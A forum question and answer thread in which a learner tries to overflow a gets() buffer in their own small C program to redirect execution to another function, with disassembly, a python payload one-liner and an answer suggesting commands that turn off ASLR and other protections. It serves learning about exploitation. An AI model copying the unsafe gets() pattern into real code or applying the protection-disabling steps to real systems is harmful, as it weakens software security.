Problem exploiting Buffer Overflow in a simple C program

Question

I am new to Buffer Overflow exploits and I started with a simple C program. My program is as follows :

#include <stdio.h> #include <strings.h> void execs(void){ printf("yay!!"); } void return_input (void) { char array[30]; gets(array); } int main() { return_input(); return 0; } 

I compiled the above program with cc by disabling stack protector as:

cc test.c -o test -fno-stack-protector 

The dump of the elf file using objdump is as follows :

0804843b <execs>: 804843b: 55 push %ebp 804843c: 89 e5 mov %esp,%ebp 804843e: 83 ec 08 sub $0x8,%esp 8048441: 83 ec 0c sub $0xc,%esp 8048444: 68 10 85 04 08 push $0x8048510 8048449: e8 b2 fe ff ff call 8048300 <printf@plt> 804844e: 83 c4 10 add $0x10,%esp 8048451: 90 nop 8048452: c9 leave 8048453: c3 ret 08048454 <return_input>: 8048454: 55 push %ebp 8048455: 89 e5 mov %esp,%ebp 8048457: 83 ec 28 sub $0x28,%esp 804845a: 83 ec 0c sub $0xc,%esp 804845d: 8d 45 da lea -0x26(%ebp),%eax 8048460: 50 push %eax 8048461: e8 aa fe ff ff call 8048310 <gets@plt> 8048466: 83 c4 10 add $0x10,%esp 8048469: 90 nop 804846a: c9 leave 804846b: c3 ret 0804846c <main>: 804846c: 8d 4c 24 04 lea 0x4(%esp),%ecx 8048470: 83 e4 f0 and $0xfffffff0,%esp 8048473: ff 71 fc pushl -0x4(%ecx) 8048476: 55 push %ebp 8048477: 89 e5 mov %esp,%ebp 8048479: 51 push %ecx 804847a: 83 ec 04 sub $0x4,%esp 804847d: e8 d2 ff ff ff call 8048454 <return_input> 8048482: b8 00 00 00 00 mov $0x0,%eax 8048487: 83 c4 04 add $0x4,%esp 804848a: 59 pop %ecx 804848b: 5d pop %ebp 804848c: 8d 61 fc lea -0x4(%ecx),%esp 804848f: c3 ret 

So, In order to exploit the buffer(array), we need to find the number of bytes allocated in the return_input stack frame which by looking at the dump,

lea -0x26(%ebp),%eax 

is 0x26 in hex or roughly 38 in decimal. So, giving input as :

38+4(random chars)+(return addr of execs)

would execute the execs function. I used the following:

python -c 'print "a"*42+"\x3b\x84\x04\x08"' | ./test 

But the output was:

Segmentation fault(core dumped)

When I opened the core(core dumped file) using gdb, I could find that the segmentation fault was experienced when executing on the following address :

0xb76f2300 

Ubuntu version : 16.10

Kernel version : 4.8.0-46-generic

What was I doing wrong? Kindly help me out.

Thanks.

Answer 1

EDIT: I now beleive your kernel is in your way, but I'm not entirely sure how, see bottom for addendum.

ORIGINAL: OK so i compiled my own version using your exact source code, i think your main problem is skipping a step in between objdump and using the address. Its always a good idea to make sure you are locating the correct address by finding it in gdb as well, sometimes we need to make sure the address we see in objdump is actually the one we encounter when running in gdb.

The rest of what you have done seems fine, and i tried to follow similar steps and was met with success:

found my function address and navigated to a spot nearby where the first push happens:

My address appears to be 0x00401460 cool. Now i figure out where i need my overflow to be, the method you used is great, im lazy and just did some trial and error:

after that it was just a matter of inserting my instruction into eip:

All in all, the only thing i did different than you was double check the EIP address i was using before attempting to exploit. That's the only thing i can think of that's messing you up. Because everything else you did looks correct, and i also ran into no trouble using your method.

EDIT:

Upon thinking about this more perhaps the real difference is our OS. Linux has protections against this sort of thing and a few things need to be addressed to allow overflows in compiled programs. There is another major difference and that is compiler.

I dont know what kernel version you have but try the following:

sysctl -w kernel.randomize_va_space=0 gcc prog.c -o prog -fno-stack-protector -D_FORTIFY_SOURCE=0 -z execstack 

If that doesn't work, (first undo the sysctl command) then you can try an older kernel in a vm, like ubuntu 9 or something. Then try the above commands in there.

But I'm afraid I haven't tried to disable stack protection on more modern kernels. so I don't know if that would be enough to make this work. What I can say is this, I think you got it right. Something is just in your way and I'm not sure what it is. As far as the exploit goes, I see nothing wrong with what you did. Hopefully someone else can see the real problem more clearly, but what i think is going on here is that the OS level kernel protections are taking over preventing the overflow exploit from jumping to your desired address.